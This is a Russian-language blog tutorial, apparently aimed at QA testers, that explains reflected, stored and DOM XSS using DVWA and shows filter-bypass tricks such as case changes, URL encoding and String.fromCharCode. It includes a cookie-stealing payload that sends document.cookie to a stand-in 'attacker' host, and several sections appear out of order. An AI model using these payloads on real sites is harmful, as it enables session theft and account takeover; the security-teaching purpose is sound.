What is XSS

Привет, решил написать эту статейку после прошедшей конференции qafest, узнал от слушателей, что многие не видели, как выглядит XSS? Как его можно найти? Где можно попрактиковаться в поисках?

 

Так вот эта статья посвящается полностью разбору тому, что же такое XSS и где можно его пощупать абсолютно легально, чтоб не загреметь за взломы чужих сайтов.

 

И так:

 

XSS – это один из типов уязвимости Web-приложения, который дает атакующему внедрить свой сценарий в web-страницы, просматриваемые совершенно другими пользователями.

 

Вкратце скажу так, что XSS это один из видов уязвимости, на сегодня самый распространенный вид уязвимости в Web-приложений. XSS позволяет хацкеру вбросить код(скрипт) на страницу и отправить его обратно в браузер пользователю, где этот код(скрипт) будет экранирован. Причиной появления этой уязвимости, доверие со стороны разработчика, что пользователь не будет вносить всякую хрень на сайте. 

 

Что может сделать в своих целях хацкер

- Изменить настройки (типа заменить бэкграунд сайта, всунуть допустим на задний фон джой-казино скрин)

- Стырить куки пользователя

- Фишинг (пацанчик хацкер может вставить поддельную форму для входа на страницу, которую вы посещаете, используя мандражирование DOM, установив action атрибуты формы на свой собственный серваки, потом обмануть пользователя для получения конфиденциальной информации.)

- Размещать различную рекламы на сайте, в всплывающих окнах

- Кейлогер (хацкер может внедрить типа прослушки действий, выполняющих на клавиатуре пользователем, используя addEventListener, а потом отправить все эти нажатия клавиш пользователем на свой серверок, записав конфиденциальную информацию пацанчика, например, это может быть пароли и номера кредитных карт. Стремно, согласитесь)

 

А теперь погнали по самим XSS, их 3 типа: 

- Непостоянный (отраженный) XSS

- Постоянный (хранимый) XSS

- XSS DOM-модели

 

Погнали общаться о каждой из ней

 

1) Непостоянный (отраженный) XSS

 

Это такой вид XSS, который является самым распространенным на сайтах. Атаку таким типом XSS можно провести, просто подставив в конец урла скрипт, при этом он будет экранироватся браузером, так как данные не подвергаются обработки.

 

Для наглядного вида покажу на приложение DVWA для этой уязвимости:

Вернуться назад
gallery/выделение_128
gallery/выделение_143
gallery/выделение_144
gallery/выделение_146
gallery/выделение_152

                                                                                      3) XSS DOM-модели

Как известно, XSS в DOM появляются на стороне клиента, во время обработки данных внутри самого JavaScript. Данный тип XSS получил такое название, потому, что чтоб его сделать нам нужен Document Object Model, как вы поняли это вот и сокращение DOM. Через него, можно получать доступ к содержимому HTML и XML-документов, даже изменять содержимое либо структуру, либо оформление таких документов.

 

1) Пример

Как примерчиком XSS в DOM-модели можно взять сценарием, который позволяет пользователю выбрать язык интерфейса на юайке. Язык по умолчанию передается в URL в параметре “default”

 

http://test.site/page.html?default=Ukraine

 

Для того чтоб пощупать этот тип XSS уязвимости в DOM закинем вместо Ukraine запрос:

 

http://test.site/page.html?default=<script>alert(HI)</script>

 

Браузер обрабатывает этот код и выполняет вывод alert(HI).

 

2) Пример 

Допустим как своровать куку у пользователя с помощью кода(скрипта). Нам нужно всего лишь заставить пользователя выполнить в браузере данный скрит <script>window.location='http://attacker/?cookie='+document.cookie</script>

 

 

Методы обхода фильтрации XSS

Из существующих методов, не все методы фильтрации помогают защитить ваш сайт от XSS уязвимости. Пройдемся по ним

 

1: смена регистра или (Caps Lock) либо переименования тега

- Допустим поставили фильтр на «<script>» в нижнем регистре. Самый распространенный метод обхода такой фильтрации это написать «<script>» заглавными буквами «<SCRIPT>». 

 

- Второй случай обойти, это добавить в начальный тег <script type=text/javascript> такое значение. В этом случаи мы также пройдем фильтрацию. В конечном результате у нас будет такой вид <script type=text/javascript>alert("XSS")</script>

 

- Третий случай, сделать вызов переменой в тегах <script>, а затем наш стандартный алерт, который отображает данную переменную, которую мы вызвали перед алертом, будет иметь такой вид<script>var val= 1; alert(val)</script>

 

При поиске XSS не стоит в алерт прописать слово XSS, так как зачастую на это слово тоже стоит фильтрация.

 

2: Декодирование и magic quotes

- В этом случаи можно заюзать какой-то URL-encodin, для обхода фильтрации, допустим сделаем декодирование нашего скрипта  тоже потом внедрим его на сайт. берем наш скрипт <script>alert(HI)</script> забрасываем его в декодер, задаем в нем тот формат в котором мы хотим зашифровать, допустим, я выберу UTF-8 и получу в ответ уже такой скрипт. Ниже указан скрин как это выглядит (%3Cscript%3Ealert%281%29%3C%2Fscript%3E

В этот раз мы внедряем JS скрипт (<script>alert("This is a XSS Test")</script>) в поле Message под номером 1, затем жмем кнопку под номером 2. В этом случае этот скрипт уже попадает на сервер, то есть в этом случае, окно, которое мы видели из первого случая, будет появляться всегда при заходе на эту страницу, для любого пользователя. И будет воспроизводится окно, пока кто-то не почистить значение в базе на сервере, которое внедрили, либо не пофиксят саму экранизацию XSS.

 

Понятно теперь, откуда появляются окошки, когда просто посещаешь какой-то сайт и по какой схеме работают злоумышленники, находят уязвимость на сайте, внедряют скрипт через сайт на сервер, который будет воспроизводиться у каждого пользователя, который посещает сайт. Согласитесь критично видеть на сайте банка какую-то рекламу казино)))

                                                                                    2) Постоянный (хранимый) XSS

 

Этот вид XSS уже считается наиболее разрушительным типом атаки. Этот тип XSS возможен, когда фраеру хацкеру удается закинуть на сервак код(скрипт), выполняющийся в браузере каждый раз при заходе на запрашиваемую вами страницу. Самым простым примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML формате без ограничений. Другими словами, хранимый XSS возникает, когда разработчики осуществляют некорректную фильтрацию при сохранении входных данные в БД на сервере или при записи этих данных в файлы, а затем выводят эти данные в браузер пользователю.

 

Примером опять послужит приложение DVWA.

Так, давайте распишу теперь, что тут разрисовано))) В поле 1 нам нужно вписать JS скрипт (<script>alert(/xss/)</script>). Затем нажать на кнопку 2. После чего мы получим окно в браузере 3, которое говорит про успешное внедрение xss на сайте, также, если мы обратим внимание на урл 4, то он значительно изменился с тех пор как мы еще не вписывали скрипт в поле. Это говорит о том, что не происходит очистка данных в поле "name", которые передались в урлу, где браузер воспроизвел этот скрипт на стороне клиента. Если же вы перекинете такой урл другому пользователю, то у него же будет такая картина тоже, но если же тот пользователь уберет скрипт в урле, то такой проблемы у него не будет.

 

По такой схеме как раз и работают злоумышленники, находят уязвимость и кидают урл, через всякие мессенджеры и почтовики, с скриптом, который ее воспроизводит у пользователя, которые, в свою  очередь, не подозревают, что в конце урла вредоносный скрипт

- Для обхода фильтрации вторым способом заюзаем ASCII-код. Тут мы слово HI в нашем замечательном алерте alert(HI) переведем как «72 73». С помощью функции String.fromCharCode() можно обойтись совсем без кавычек. В конечном итоге будет у нас скрипт выглядеть так <script>alert(String.fromCharCode(72, 73)</script> 

gallery/выделение_099

Именно таким методом можно обходить фильтрацию magic quotes.

 

Если же вам лень искать их ручками, то можете перейти на статью о том как искать XSS с помощью сканера уязвимостей OWASP ZAP либо BURP SUITE.

 

После того как вы ознакомились с этим всем можно приступить к практике. Следующею статью сделаю с сайтом, где можно будет легально попрактиковаться, не причиняя вред для работы коллег

 

И ПОМНИТЕ ВСЕ ПОКАЗАННОЕ ВЫШЕ, СДЕЛАНО В ЦЕЛЯХ ОБУЧЕНИЯ!!!

МОЖНО ПРИМЕНЯТЬ ТОЛЬКО НА СВОИХ ПРОЕКТАХ, ПОСЛЕ РАЗРЕШЕНИЯ

gallery/выделение_098